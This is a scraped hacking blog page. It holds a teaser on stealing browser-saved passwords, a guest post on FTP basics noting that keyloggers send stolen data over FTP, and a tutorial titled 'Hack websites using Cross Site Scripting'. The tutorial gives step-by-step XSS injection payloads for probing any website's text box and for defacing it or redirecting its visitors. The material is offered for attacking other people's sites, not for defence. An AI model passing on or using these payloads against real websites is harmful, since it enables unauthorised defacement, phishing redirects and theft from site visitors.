9:15 AM

Steal passwords saved by the browsers

Steal passwords saved by the browsers

If you remember, your browser asks you to "remember password" everytime you login to any website. We can steal t...

9:11 AM

What is FTP-Know The Basics

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="posthead" style="background-color: white; clear: left; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 12px; line-height: 17px; padding-top: 8px; position: relative;">
<h1 style="font-size: 20px; font-weight: normal; letter-spacing: -1px; line-height: 28px; margin: 0px; padding: 0px 0px 10px;">
<br /></h1>
</div>
<div style="background-color: white; clear: left; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px;">
</div>
<div class="post-body entry-content" style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px;">
<div dir="ltr" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJTlq3UoOGiYOzldKNXwrVJiQUOUDDKLCcUlv6eJM1QAE6rvfLtS8XPJP8jN0t_VFPOsBHlyjibA21Ga_M0S94NDO6AIJ2CNQeR_O5QhvEp3XdN7rEJ7MP80EM_w2-DEOFuTSMF0bblIkx/s1600/ftp.jpg" imageanchor="1" style="border: 0px; color: #0033cc; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="187" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJTlq3UoOGiYOzldKNXwrVJiQUOUDDKLCcUlv6eJM1QAE6rvfLtS8XPJP8jN0t_VFPOsBHlyjibA21Ga_M0S94NDO6AIJ2CNQeR_O5QhvEp3XdN7rEJ7MP80EM_w2-DEOFuTSMF0bblIkx/s400/ftp.jpg" style="background-color: #f3f3f3; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(221, 221, 221); margin: 0px; padding: 5px;" width="400" /></a></div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
<b><span class="Apple-style-span" style="color: red; font-size: medium;">What is FTP?</span></b></div>
<div class="separator" style="clear: both;">
<b><span class="Apple-style-span" style="color: red; font-size: medium;"><br /></span></b></div>
<div class="separator" style="clear: both;">
</div>
<div class="separator" style="clear: both;">
File Transfer Protocol (FTP) is a standard Internet protocol for transmitting files between computers on the Internet. </div>
<div class="separator" style="clear: both;">
Like the Hypertext Transfer Protocol (HTTP), which transfers displayable Web pages and related files, and the Simple Mail Transfer Protocol (SMTP), which transfers e-mail, FTP is an application protocol that uses the Internet's TCP(Transmission Control Protocol)/IP protocols.</div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiF2NLBTgmLVTYOnbxnGyVMM3kXi3wh7I32LxQ4CJ7HayZJirDb0f641g5jebwUsM6pkys9diQB7jGz7oySeWUHGoHn2PNanzENVYVLuFDTiQKXJHqmJ7vybgPc7cQ9ojhD1DfO7yjWWoFz/s1600/ftp.gif" imageanchor="1" style="border: 0px; color: #0033cc; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="250" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiF2NLBTgmLVTYOnbxnGyVMM3kXi3wh7I32LxQ4CJ7HayZJirDb0f641g5jebwUsM6pkys9diQB7jGz7oySeWUHGoHn2PNanzENVYVLuFDTiQKXJHqmJ7vybgPc7cQ9ojhD1DfO7yjWWoFz/s400/ftp.gif" style="background-color: #f3f3f3; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(221, 221, 221); margin: 0px; padding: 5px;" width="400" /></a></div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
</div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
Very briefly, FTP (File Transfer Protocol) is used to transfer programs or other information from one computer to another. </div>
<div class="separator" style="clear: both;">
This simple tool will let you do many things: download software, upload your own web pages, transfer information between your home and work machines, and more. </div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
FTP uses the port no 21 on your computer.</div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
</div>
<div class="separator" style="clear: both;">
<b><span class="Apple-style-span" style="color: red; font-size: medium;">What is Anonymous FTP???</span></b></div>
<div class="separator" style="clear: both;">
<b><span class="Apple-style-span" style="color: red; font-size: medium;"><br /></span></b></div>
<div class="separator" style="clear: both;">
Anonymous FTP is used to download software from computers where you do not have your personal account.</div>
<div class="separator" style="clear: both;">
If you are accessing internet from a local service provider, you may use anonymous FTP to get recommended software, help files, or other handy information.</div>
<div class="separator" style="clear: both;">
Publicly available files are easily accessed using anonymous FTP.</div>
<div class="separator" style="clear: both;">
<b><span class="Apple-style-span" style="color: red; font-size: medium;"><br /></span></b></div>
<div class="separator" style="clear: both;">
<b><span class="Apple-style-span" style="color: red; font-size: medium;">Uses of  FTP:</span></b></div>
<div class="separator" style="clear: both;">
<b><span class="Apple-style-span" style="color: red; font-size: medium;"><br /></span></b></div>
<div class="separator" style="clear: both;">
As a user, you can use FTP with a simple command line interface (for example, from the Windows MS-DOS Prompt window) or with a commercial program that offers a graphical user interface. </div>
<div class="separator" style="clear: both;">
Your Web browser can also make FTP requests to download programs you select from a Web page.</div>
<div class="separator" style="clear: both;">
For example, If you've ever clicked on a link to download the newest version of your favorite web browser, then you may have already used anonymous FTP. </div>
<div class="separator" style="clear: both;">
Downloading files with your web browser is certainly the easiest way to use FTP, although it does have its limitations.</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSN7KvhIUhqtmdtiGa2ZiiStXlp9wfENKQ_qgE2W-2Q0__4rXN-uTLvwJt72c9vdxzGNS4VH2uLg2u5dqREG5zIhr1Dul9x1kiIyLgkesu6BvEmGj0NnFZ9PilGe3m3THDJU01px6YKR__/s1600/ftp-exp.jpg" imageanchor="1" style="border: 0px; color: #0033cc; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSN7KvhIUhqtmdtiGa2ZiiStXlp9wfENKQ_qgE2W-2Q0__4rXN-uTLvwJt72c9vdxzGNS4VH2uLg2u5dqREG5zIhr1Dul9x1kiIyLgkesu6BvEmGj0NnFZ9PilGe3m3THDJU01px6YKR__/s400/ftp-exp.jpg" style="background-color: #f3f3f3; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(221, 221, 221); margin: 0px; padding: 5px;" width="360" /></a></div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
</div>
<div class="separator" style="clear: both;">
<b><span class="Apple-style-span" style="color: red; font-size: medium;">When do you need a Separate FTP??</span></b></div>
<div class="separator" style="clear: both;">
<b><span class="Apple-style-span" style="color: red; font-size: medium;"><br /></span></b></div>
<div class="separator" style="clear: both;">
You need a seperate program for FTP, if you want to download all the files in a given directory. A good FTP client makes this much easier.</div>
<div class="separator" style="clear: both;">
You will also need it for uploading and downloading files from your personal directory( while making your own webpage).</div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
<b><span class="Apple-style-span" style="color: red; font-size: medium;">How does it help hackers??</span></b></div>
<div class="separator" style="clear: both;">
<b><span class="Apple-style-span" style="color: red; font-size: medium;"><br /></span></b></div>
<div class="separator" style="clear: both;">
Hackers can create their own FTP accounts to log the information of their victims secretly.</div>
<div class="separator" style="clear: both;">
Remote installation keyloggers are the best example for this. The data stolen by the keyloggers will be sent to the hacker via FTP and email. FTP can carry large amount of data too. </div>
<div>
<br /></div>
<div>
<b><span class="Apple-style-span" style="color: red;">About the author:</span></b><b><span class="Apple-style-span" style="color: red;"> </span></b>This is a guest post by <b><span class="Apple-style-span" style="color: blue;">ANUSHA MANNE</span> </b>who is interested in new technologies and wants to share knowledge with my blog readers. Usually writes articles related to<span class="Apple-style-span" style="color: blue;"><b> latest technologies</b></span> at <span class="Apple-style-span" style="font-family: arial, sans-serif; font-size: 13px;"><a href="http://www.anushamanne.blogspot.com/" style="border: 0px; color: #0033cc; text-decoration: none;"><b>Techie Talk</b></a></span></div>
<br /><br /><div class="separator" style="clear: both;">
</div>
<div class="separator" style="clear: both;">
<br /></div>
<div>
Hope you liked it. If you have any doubts or suggestions, leave a comment.</div>
</div>
</div>
</div>

What is FTP-Know The Basics

What is FTP? File Transfer Protocol (FTP) is a standard Internet protocol for transmitting files between computers on th...

8:59 AM

Hack websites using Cross Site Scripting

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="posthead" style="background-color: white; clear: left; font-family: Georgia, 'Times New Roman', Times, serif; font-size: 12px; line-height: 17px; padding-top: 8px; position: relative;">
<h1 style="font-size: 20px; font-weight: normal; letter-spacing: -1px; line-height: 28px; margin: 0px; padding: 0px 0px 10px;">
<br /></h1>
</div>
<div style="background-color: white; clear: left; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px;">
</div>
<div class="post-body entry-content" style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; line-height: 17px;">
<div dir="ltr" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhurt8oh-qALTZ7c5TR8R_jL755byBm80rXLS9cYL0GykheL7aGCVoepwoSU3peTYSMUYJGl4W5FfsHYQWIRaqrFi5cGLcvw_60YSRVtZ5uwV5yFAc_Ms794h5dEknmVCzAaqoFbv7wKOXL/s1600/xss-threat3.jpg" imageanchor="1" style="border: 0px; color: #0033cc; margin-left: 1em; margin-right: 1em; text-decoration: none;"><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhurt8oh-qALTZ7c5TR8R_jL755byBm80rXLS9cYL0GykheL7aGCVoepwoSU3peTYSMUYJGl4W5FfsHYQWIRaqrFi5cGLcvw_60YSRVtZ5uwV5yFAc_Ms794h5dEknmVCzAaqoFbv7wKOXL/s1600/xss-threat3.jpg" style="background-color: #f3f3f3; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(221, 221, 221); margin: 0px; padding: 5px;" /></span></a></div>
<span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"><br /></span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"><br /></span><br /><b><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;">This is the first article on website hacking on my blog. In this tutorial i am going to explain about <span class="Apple-style-span" style="color: red;">CROSS SITE SCRIPTING ATTACK</span>.</span></b><br /><b><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"><br /></span></b><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"><b>Cross-site scripting</b> (XSS) is a type of computer security vulnerability typically found in web applications that enables malicious attackers to inject client-side script into web pages viewed by other users. An exploited cross-site scripting vulnerability can be used by attackers to bypass access controls such as the same origin policy.</span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"><br /></span><br /><span class="Apple-style-span" style="color: red; font-family: Georgia, 'Times New Roman', serif; font-size: medium;"><b>Types of XSS vulnerabilities:</b></span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"><br /></span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;">1.Persistent</span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;">2.Non persistent</span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"><br /></span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;">In this post i am going to explain about the non persistent vulnerability.</span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"><br /></span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;">Non persistent XSS vulnerability is the Most Common Type of XSS Flaw. It is a Server Side Vulnerability</span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;">When a Web Server takes any input from a User and returns the same back to the User without any Validation, This leads to a Non-Persistent XSS Vulnerability.</span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"><br /></span><br /><span class="Apple-style-span" style="color: red; font-family: Georgia, 'Times New Roman', serif; font-size: medium;"><b>What can a hacker do with this??</b></span><br /><b><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"><br /></span></b><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;">XSS Attacks be used for the following:</span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;">        </span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;">        •Compromising and Hijacking Accounts</span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;">        •Stealing User Cookies</span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;">        •Defacing Websites</span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;">        •Phishing Attacks</span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;">        •Posting False or Hostile Content</span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"><br /></span><br /><b><span class="Apple-style-span" style="color: red; font-family: Georgia, 'Times New Roman', serif; font-size: medium;">Steps to hack</span></b><b><span class="Apple-style-span" style="color: red; font-family: Georgia, 'Times New Roman', serif; font-size: medium;">:</span></b><br /><b><span class="Apple-style-span" style="color: red; font-family: Georgia, 'Times New Roman', serif; font-size: medium;"><br /></span></b><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;">Step 1: Find vulnerability.</span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"><br /></span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;">Step 2: Deface.</span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"><br /></span><br /><b><span class="Apple-style-span" style="color: red; font-family: Georgia, 'Times New Roman', serif; font-size: medium;">Finding out the vulnerability:</span></b><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"><br /></span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;">1)Find a textbox in the site or something where you can submit text.</span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"><br /></span><br /><div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhfpbCbFlzEhUExxIvFFg136dKuyQHYyyKJi25P6CTWnwUiwZ9r9V4aTKYI62gPTh8Ef4-JpArPptQcqJgLJwg3g-WLzx14QSgU8W_BOnVFvz2uuB6CxbS3-sB6AYErz0xVDFKeAbhH2NX/s1600/11.png" imageanchor="1" style="border: 0px; color: #0033cc; margin-left: 1em; margin-right: 1em; text-decoration: none;"><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhfpbCbFlzEhUExxIvFFg136dKuyQHYyyKJi25P6CTWnwUiwZ9r9V4aTKYI62gPTh8Ef4-JpArPptQcqJgLJwg3g-WLzx14QSgU8W_BOnVFvz2uuB6CxbS3-sB6AYErz0xVDFKeAbhH2NX/s1600/11.png" style="background-color: #f3f3f3; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(221, 221, 221); margin: 0px; padding: 5px;" /></span></a></div>
<span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"><br /></span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;">2)Type in the following:</span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"><br /></span><br /><span class="Apple-style-span" style="color: blue; font-family: Georgia, 'Times New Roman', serif;"><b><script>alert("hackinginception");</script></b></span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"><br /></span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;">3)If it is vulnerable it should look like this:</span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"><br /></span><br /><div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmXGvm1B9mLODQeoklt4ZxCeMZDZHlSfXXUfAzgcbZvrcAykfm9RJxSjWm1yptdyEDzBKrXSxGc2mk11EG4FJwin9DzdmW-GE0udzjfhSJae2Leld1L795uoWrCaCQwjilryZYO4jSES3Y/s1600/12.png" imageanchor="1" style="border: 0px; color: #0033cc; margin-left: 1em; margin-right: 1em; text-decoration: none;"><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmXGvm1B9mLODQeoklt4ZxCeMZDZHlSfXXUfAzgcbZvrcAykfm9RJxSjWm1yptdyEDzBKrXSxGc2mk11EG4FJwin9DzdmW-GE0udzjfhSJae2Leld1L795uoWrCaCQwjilryZYO4jSES3Y/s1600/12.png" style="background-color: #f3f3f3; border-bottom-left-radius: 3px; border-bottom-right-radius: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; border: 1px solid rgb(221, 221, 221); margin: 0px; padding: 5px;" /></span></a></div>
<span class="Apple-style-span" style="color: red; font-family: Georgia, 'Times New Roman', serif; line-height: 18px;"><b><br /></b></span><br /><span class="Apple-style-span" style="color: red; font-family: Georgia, 'Times New Roman', serif; font-size: medium; line-height: 18px;"><b>Defacing:</b></span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif; line-height: 18px;"><b><br /></b></span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif; line-height: 18px;">There are some ways to deface a site when you find a XSS vulnerability.</span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif; line-height: 18px;"><br /></span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif; line-height: 18px;">1) Makes A Picture Pop-Up:</span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif; line-height: 18px;"><br /></span><br /><span class="Apple-style-span" style="line-height: 18px;"><span class="Apple-style-span" style="color: blue; font-family: Georgia, 'Times New Roman', serif;"><b>"><script>location="www.website.com/yourdefacepic";</script></b></span></span><br /><span class="Apple-style-span" style="line-height: 18px;"><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"><br /></span></span><br /><span class="Apple-style-span" style="line-height: 18px;"><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;">2) Replace The Content Of The Page By An Image:</span></span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"><br /></span><br /><span class="Apple-style-span" style="color: blue; font-family: Georgia, 'Times New Roman', serif;"><b><img src="yoursite.com/yourdefacepic/></b></span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"><br /></span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;">3)Redirect To A Website</span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"><br /></span><br /><span class="Apple-style-span" style="color: blue; font-family: Georgia, 'Times New Roman', serif;"><b><script>window.location="http://www.yoursite.com"</script></b></span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"><br /></span><br /><b><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"><span class="Apple-style-span" style="color: red; font-size: medium;">NOTE:</span> </span></b><br /><b><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;">Since this is a non-persistent attack,the changes made by you will not affect the website. But the hackers use these vulnerabilities to steal the information of the visitors of those sites. </span></b><br /><b><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;">I will write some articles on those topics soon.</span></b><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;"><br /></span><br /><span class="Apple-style-span" style="font-family: Georgia, 'Times New Roman', serif;">Hope you liked this article... Leave your comments if you have any doubts or suggestions.</span></div>
</div>
</div>

Hack websites using Cross Site Scripting

This is the first article on website hacking on my blog. In this tutorial i am going to explain about CROSS SITE SCRIPTING ATTAC...

8:58 AM